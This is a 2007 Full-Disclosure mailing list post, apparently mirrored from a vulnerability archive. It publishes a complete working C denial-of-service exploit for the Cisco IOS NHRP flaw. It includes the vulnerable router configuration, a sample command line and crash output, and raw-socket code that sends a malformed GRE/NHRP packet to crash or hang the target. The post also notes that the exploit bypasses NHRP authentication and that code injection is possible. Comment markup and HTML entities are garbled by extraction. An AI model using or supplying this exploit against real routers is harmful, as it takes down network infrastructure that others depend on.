Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:17729
HistoryAug 09, 2007 - 12:00 a.m.

[Full-disclosure] Cisco NHRP denial of service (cisco-sa-20070808-nhrp)

2007-08-0900:00:00
vulners.com
20

Hi,

this exploit/DoS addresses the recent NHRP bug in Cisco IOS (CSCin95836 /
cisco-sa-20070808-nhrp). The original advisory can be found here:

http://www.cisco.com/en/US/products/products_security_advisory09186a008089963b.shtml

Exploit/DoS:

//
/
/
/
nhrp-dos - Copyright by Martin Kluge, <[email protected]> /
/
/
/
Feel free to modify this code as you like, as long as you include the /
/
above copyright statement. /
/
/
/
Please use this code only to check your OWN cisco routers. /
/
/
/
Cisco bug ID: CSCin95836 /
/
/
/
The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used /
/
by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA) /
/
subnetwork to determine the internetworking layer address and NBMA /
/
subnetwork addresses of the NBMA next hop towards the destination. /
/
NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with /
/
IPSEC. /
/
/
/
URLs: /
/
- [RFC2332/NHRP] http://rfc.net/rfc2332.html /
/
- [RFC1701/GRE] http://rfc.net/rfc1701.html /
/
- [DMVPNs with Cisco] http://www.cisco.com/en/US/tech/tk583/tk372/techno /
/
logies_white_paper09186a008018983e.shtml /
/
/
/
This code was only tested on FreeBSD and Linux, no warranty is or will be /
/
provided. /
/
/
/
Vulnerable images (tested): /
/
/
/
- c7100-jk9o3s-mz.123-12e.bin /
/
- c7200-jk8o3s-mz.122-40.bin /
/
- c3640-js-mz.122-15.T17.bin /
/
(and many other IOS versions on different platforms) /
/
/
/
Vulnerable configuration on cisco IOS: /
/
/
/
interface Tunnel0 /
/
ip address 10.0.0.1 255.255.255.128 /
/
no ip redirects /
/
no ip proxy-arp /
/
ip mtu 1464 /
/
ip nhrp authentication mysecret /
/
ip nhrp network-id 1000 /
/
ip nhrp map multicast dynamic /
/
ip nhrp server-only /
/
ip nhrp holdtime 30 /
/
tunnel source FastEthernet0/0 /
/
tunnel mode gre multipoint /
/
tunnel key 123456789 /
/
/
/
This exploit works even if "ip nhrp authentication" is configured on the /
/
cisco router. You can also specify a GRE key (use 0 to disable this /
/
feature) if the GRE tunnel is protected. You don't need to know the /
/
NHRP network id (or any other configuration details, except the GRE key if /
/
it is set on the target router). /
/
/
/
NOTE: The exploit only seems to work, if a NHRP session between the target /
/
router and at least one client is established. /
/
/
/
Code injection is also possible (thanks to sky for pointing this out), but /
/
it is not very easy and depends heavily on the IOS version / platform. /
/
/
/
Example: /
/
root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789 /
/
/
/
Router console output: /
/
/
/
-Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8 /
/
$0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000 /
/
<snip> /
/
EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03 /
/
Cause 00000024 (Code 0x9): Breakpoint exception /
/
/
/
Writing crashinfo to bootflash:crashinfo_20070321-155011 /
/
=== Flushing messages (16:50:12 CET Wed Mar 21 2007) === /
/
/
/
Router reboots or sometimes hangs ;) /
/
/
/
/
/
Workaround: Disable NHRP ;) /
/
/
/
I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help /
/
regarding this issue. /
/
/
/
Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, /
/
xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra /
/
and #infiniteVOID /
/
/
/
/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>

/* BSD */
#define _BSD

/* Header sizes */
#define IP_HDR_SIZE 20
#define GRE_HDR_SIZE 4
#define GRE_KEY_SIZE 4
#define NHRP_HDR_SIZE 62

/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);

/* Globals */
int sockfd;
int nhrp_req_id;

/* GRE header /
struct gre_h {
unsigned short flags; /
GRE flags /
unsigned short ptype; /
GRE protocol type /
unsigned int key; /
GRE key */
};

/* NHRP header /
struct nhrp_h {
/
NHRP fixed header (20 bytes) /
struct {
unsigned short afn; /
NHRP AFN /
unsigned short proto; /
NHRP protocol type /
unsigned int snap; /
NHRP SNAP /
unsigned short snapE:8; /
NHRP SNAP /
unsigned short hops:8; /
NHRP hop count /
unsigned short length; /
NHRP total length /
unsigned short checksum; /
NHRP checksum /
unsigned short mpoa_ext; /
NHRP MPOA extensions /
unsigned short version:8; /
NHRP version /
unsigned short type:8; /
NHRP type /
unsigned short nbma_addr:8; /
NHRP t/l of NBMA address /
unsigned short nbma_sub:8; /
NHRP t/l of NBMA subaddr */
} fixed;

    /* NHRP mandatory part */
    struct {
            unsigned short src_len:8;       /* NHRP src protocol length */
            unsigned short dst_len:8;       /* NHRP dest protocol length */
            unsigned short flags;           /* NHRP flags */
            unsigned int   request_id;      /* NHRP request ID */
            unsigned long  client_nbma;     /* NHRP client NBMA address */
            unsigned long  client_nbma_sub; /* NHRP client NBMA subaddr */
            unsigned long  client_pro_addr; /* NHRP client protocol addr */
    } mand;

    /* NHRP client information entries &#40;CIE&#41; */
    union {
            struct {
                    unsigned short code:8;          /* NHRP code */
                    unsigned short pref_len:8;      /* NHRP prefix length */
                    unsigned short reserved;        /* NHRP reserved */
                    unsigned short mtu;             /* NHRP MTU */
                    unsigned short holding_time;    /* NHRP holding time */
                    unsigned short len_client:8;    /* NHRP t/l cl addr */
                    unsigned short len_client_sub:8;/* NHRP t/l cl sub */
                    unsigned short len_client_pro:8;/* NHRP t/l cl pro */
                    unsigned short preference:8;    /* NHRP preference */
                    unsigned short ext;             /* NHRP extension */
            } cie;
    };

};

/* Main function */
int main (int argc, char *argv) {
/
Check command line */
if(argc != 4) {
fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge <[email protected]>, 2007\n");
fprintf(stderr, "------------------------------------------------\n");
fprintf(stderr, "Usage: ./nhrp-dos <device> <target> <GRE key>\n");
fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
exit(EXIT_FAILURE);
}

    /* Check UID */
    if&#40;getuid&#40;&#41; != 0 &amp;&amp; geteuid&#40;&#41; != 0&#41; {
            fprintf&#40;stderr, &quot;Error: Please run as root!&#92;n&quot;&#41;;
            exit&#40;EXIT_FAILURE&#41;;
    }

    /* Open a socket */
    sockfd = open_socket&#40;&#41;;

    /* Send DoS packet */
    send_dos&#40;sockfd, get_int_ipv4&#40;argv[1]&#41;, resolve_ip&#40;argv[2]&#41;, atoi&#40;argv[3]&#41;&#41;;

    /* Close the socket */
    close_socket&#40;sockfd&#41;;
    
    exit&#40;EXIT_SUCCESS&#41;;

}

/* Open the socket */
int open_socket (void)
{
int fd;
int one = 1;
void *ptr = &one;

    /* Open the socket */
    fd = socket&#40;AF_INET, SOCK_RAW, IPPROTO_UDP&#41;;
    if&#40;fd &lt; 0&#41; {
            fprintf&#40;stderr, &quot;Error: open_socket: Unable to open socket.&#92;n&quot;&#41;;
            exit&#40;EXIT_FAILURE&#41;;
    }

    /* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
    /* Otherwise it would be done by the kernel. */
    if&#40;setsockopt&#40;fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof&#40;one&#41;&#41; &lt; 0&#41; {
            fprintf&#40;stderr, &quot;Error: open_socket: setsockopt failed.&#92;n&quot;&#41;;
            exit&#40;EXIT_FAILURE&#41;;
    }

    #ifndef _BSD
    if&#40;setsockopt&#40;fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof&#40;one&#41;&#41; &lt; 0&#41; {
            fprintf&#40;stderr,&quot;Error: open_socket: setsockopt failed.&#92;n&quot;&#41;;
            exit&#40;EXIT_FAILURE&#41;;
    }
    #endif

    return&#40;fd&#41;;

}

/* Close the socket */
int close_socket (int fd)
{
return(close(fd));
}

/* Resolve the hostname to IP address */
unsigned long resolve_ip (char *host)
{
struct in_addr addr;
struct hostent *host_ent;

    if&#40;&#40;addr.s_addr = inet_addr&#40;host&#41;&#41; == -1&#41; {
            if&#40;!&#40;host_ent = gethostbyname&#40;host&#41;&#41;&#41;
                    return&#40;-1&#41;;

            memcpy&#40;&#40;char *&#41;&amp;addr.s_addr, host_ent-&gt;h_addr, host_ent-&gt;h_length&#41;;
    }

    return&#40;addr.s_addr&#41;;

}

/* Get IPv4 address of DEVICE */
unsigned long get_int_ipv4 (char *device)
{
int tmp_fd;
struct ifreq ifr;
struct sockaddr_in *sin;

    tmp_fd = socket&#40;PF_INET, SOCK_DGRAM, 0&#41;;

    if&#40;tmp_fd &lt; 0&#41; {
            fprintf&#40;stderr, &quot;Error: get_int_ipv4: socket failed.&#92;n&quot;&#41;;
            exit&#40;EXIT_FAILURE&#41;;
    }

    memset&#40;&amp;ifr, 0, sizeof&#40;ifr&#41;&#41;;
    sin = &#40;struct sockaddr_in *&#41; &amp;ifr.ifr_addr;
    strncpy&#40;ifr.ifr_name, device, sizeof&#40;ifr.ifr_name&#41;&#41;;

    ifr.ifr_addr.sa_family = AF_INET;

    if&#40;ioctl&#40;tmp_fd, SIOCGIFADDR, &#40;char *&#41; &amp;ifr&#41; &lt; 0&#41; {
            fprintf&#40;stderr, &quot;Error: get_int_ipv4: ioctl failed.&#92;n&quot;&#41;;
            exit&#40;EXIT_FAILURE&#41;;
    }

    close&#40;tmp_fd&#41;;
    return&#40;sin-&gt;sin_addr.s_addr&#41;;

}

/* Send NHRP packet */
int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip,
unsigned long gre_key)
{
struct ip ip_hdr;
struct ip *iphdr;
struct gre_h gre_hdr;
struct nhrp_h nhrp_hdr;
struct sockaddr_in sin;
unsigned int bytes = 0;
int GRE_SIZE = GRE_HDR_SIZE;

    /* Packet buffer */
    unsigned char *buf;

    if&#40;gre_key!=0&#41;
            GRE_SIZE+=GRE_KEY_SIZE;

    /* Allocate some memory */
    buf = malloc&#40;IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE&#41;;

    if&#40;buf &lt; 0&#41; {
            fprintf&#40;stderr, &quot;Error: send_dos: malloc failed.&#92;n&quot;&#41;;
            exit&#40;EXIT_FAILURE&#41;;
    }

    /* Increment NHRP request ID */
    nhrp_req_id++;

    /* IPv4 Header */
    ip_hdr.ip_v             = 4;                    /* IP version */
    ip_hdr.ip_hl            = 5;                    /* IP header length */
    ip_hdr.ip_tos           = 0x00;                 /* IP ToS */
    ip_hdr.ip_len           = htons&#40;IP_HDR_SIZE  +
                               GRE_SIZE +
                               NHRP_HDR_SIZE
                              &#41;;                    /* IP total length */
    ip_hdr.ip_id            = 0;                    /* IP identification */
    ip_hdr.ip_off           = 0;                    /* IP frag offset */
    ip_hdr.ip_ttl           = 64;                   /* IP time to live */
    ip_hdr.ip_p             = IPPROTO_GRE;          /* IP protocol */
    ip_hdr.ip_sum           = 0;                    /* IP checksum */
    ip_hdr.ip_src.s_addr    = src_ip;               /* IP source */
    ip_hdr.ip_dst.s_addr    = dst_ip;               /* IP destination */

    /* GRE header */
    if&#40;gre_key != 0&#41; {
            gre_hdr.flags   = htons&#40;0x2000&#41;;        /* GRE flags */
            gre_hdr.key     = htonl&#40;gre_key&#41;;       /* GRE key */
    } else {
            gre_hdr.flags   = 0;
    }

    gre_hdr.ptype           = htons&#40;0x2001&#41;;        /* GRE type &#40;NHRP&#41; */

    /* NHRP fixed header */
    nhrp_hdr.fixed.afn      = htons&#40;0x0001&#41;;        /* NHRP AFN */
    nhrp_hdr.fixed.proto    = htons&#40;0x0800&#41;;        /* NHRP protocol type */
    nhrp_hdr.fixed.snap     = 0;                    /* NHRP SNAP */
    nhrp_hdr.fixed.snapE    = 0;                    /* NHRP SNAP */
    nhrp_hdr.fixed.hops     = 0xFF;                 /* NHRP hop count */

    /* DoS -&gt; Set length to 0xFFFF */
    nhrp_hdr.fixed.length   = htons&#40;0xFFFF&#41;;        /* NHRP length */

    /* Checksum can be incorrect */
    nhrp_hdr.fixed.checksum = 0;                    /* NHRP checksum */

    nhrp_hdr.fixed.mpoa_ext = htons&#40;0x0034&#41;;        /* NHRP MPOA ext */
    nhrp_hdr.fixed.version  = 1;                    /* NHRP version */
    nhrp_hdr.fixed.type     = 3;                    /* NHRP type */
    nhrp_hdr.fixed.nbma_addr= 4;                    /* NHRP NBMA t/l addr */
    nhrp_hdr.fixed.nbma_sub = 0;                    /* NHRP NBMA t/l sub */

    /* NHRP mandatory part */
    nhrp_hdr.mand.src_len   = 4;                    /* NHRP src proto len */
    nhrp_hdr.mand.dst_len   = 4;                    /* NHRP dst proto len */
    nhrp_hdr.mand.flags     = htons&#40;0x8000&#41;;        /* NHRP flags */
    nhrp_hdr.mand.request_id  = htonl&#40;nhrp_req_id&#41;; /* NHRP request ID */
    nhrp_hdr.mand.client_nbma = src_ip;             /* NHRP client addr */
    nhrp_hdr.mand.client_nbma_sub = 0;              /* NHRP client sub  */
    nhrp_hdr.mand.client_pro_addr = 0;              /* NHRP client proto */ 

    /* NHRP client information entries &#40;CIE&#41; */
    nhrp_hdr.cie.code       = 0;                    /* NHRP code */
    nhrp_hdr.cie.pref_len   = 0xFF;                 /* NHRP prefix len */
    nhrp_hdr.cie.reserved   = 0x0000;               /* NHRP reserved */
    nhrp_hdr.cie.mtu        = htons&#40;1514&#41;;          /* NHRP mtu */
    nhrp_hdr.cie.holding_time = htons&#40;30&#41;;          /* NHRP holding time */
    nhrp_hdr.cie.len_client = 0;                    /* NHRP t/l client */
    nhrp_hdr.cie.len_client_sub = 0;                /* NHRP t/l sub */
    nhrp_hdr.cie.len_client_pro = 0;                /* NHRP t/l pro */
    nhrp_hdr.cie.preference = 0;                    /* NHRP preference */
    nhrp_hdr.cie.ext        = htons&#40;0x8003&#41;;        /* NHRP C/U/Type &#40;ext&#41;*/


    /* Copy the IPv4 header to the buffer */
    memcpy&#40;buf, &#40;unsigned char *&#41; &amp;ip_hdr, sizeof&#40;ip_hdr&#41;&#41;;

    /* Copy the GRE header to the buffer */
    memcpy&#40;buf + IP_HDR_SIZE, &#40;unsigned char *&#41; &amp;gre_hdr, sizeof&#40;gre_hdr&#41;&#41;;

    /* Copy the NHRP header to the buffer */
    memcpy&#40;buf + IP_HDR_SIZE + GRE_SIZE, &#40;unsigned char *&#41; &amp;nhrp_hdr,
            sizeof&#40;nhrp_hdr&#41;&#41;;

    /* Fix some BSD bugs */
    #ifdef _BSD
    iphdr = &#40;struct ip *&#41; buf;
    iphdr-&gt;ip_len = ntohs&#40;iphdr-&gt;ip_len&#41;;
    iphdr-&gt;ip_off = ntohs&#40;iphdr-&gt;ip_off&#41;;
    #endif

    memset&#40;&amp;sin, 0, sizeof&#40;struct sockaddr_in&#41;&#41;;
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = iphdr-&gt;ip_dst.s_addr;

    printf&#40;&quot;&#92;nnhrp-dos &#40;c&#41; by Martin Kluge &lt;[email protected]&gt;, 2007&#92;n&quot;&#41;;
    printf&#40;&quot;------------------------------------------------&#92;n&quot;&#41;;
    printf&#40;&quot;Sending DoS packet...&quot;&#41;;

    /* Send the packet */
    bytes = sendto&#40;fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0,
                    &#40;struct sockaddr *&#41; &amp;sin, sizeof&#40;struct sockaddr&#41;&#41;;

    printf&#40;&quot;DONE &#40;&#37;d bytes&#41;&#92;n&#92;n&quot;, bytes&#41;;

    /* Free the buffer */
    free&#40;buf&#41;;

    /* Return number of bytes */
    return&#40;bytes&#41;;

}


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/